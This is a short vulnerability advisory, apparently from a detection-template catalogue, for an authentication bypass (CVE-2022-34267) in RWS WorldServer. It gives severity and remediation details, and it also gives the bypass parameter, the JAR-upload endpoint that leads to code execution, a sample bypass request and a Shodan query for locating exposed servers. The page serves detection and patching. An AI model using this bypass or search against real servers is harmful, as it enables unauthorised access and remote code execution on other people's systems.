| Title | RWS WorldServer - Authentication Bypass |
|---|---|
| Author | pdresearch,iamnoooob,rootxharsh,parthmalhotra |
| Severity | Critical |
| Impact | Unauthenticated attackers can bypass all authentication by adding a token parameter with value 02, then upload and execute arbitrary Java code via JAR archives, potentially compromising the translation management system and accessing sensitive multilingual content. |
| Remediation | Upgrade to RWS WorldServer version 11.7.3 or later that properly validates authentication tokens and restricts API access. |
| CVSS Score | 9.8 |
| EPSS Score | 0.73904 |
| CVE ID | CVE-2022-34267 |
| CWE ID | CWE-287 |
| Shodan Query | title:"WorldServer" |
| Tags | cve cve2022 worldserver auth-bypass vuln |
An issue was discovered in RWS WorldServer before 11.7.3. Adding a token parameter with the value of 02 bypasses all authentication requirements. Arbitrary Java code can be uploaded and executed via a .jar archive to the ws-api/v2/customizations/api endpoint.
GET /ws-api/v2/users/me/details?token=02 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/9.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34267.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-34267.pcap
N/AN/A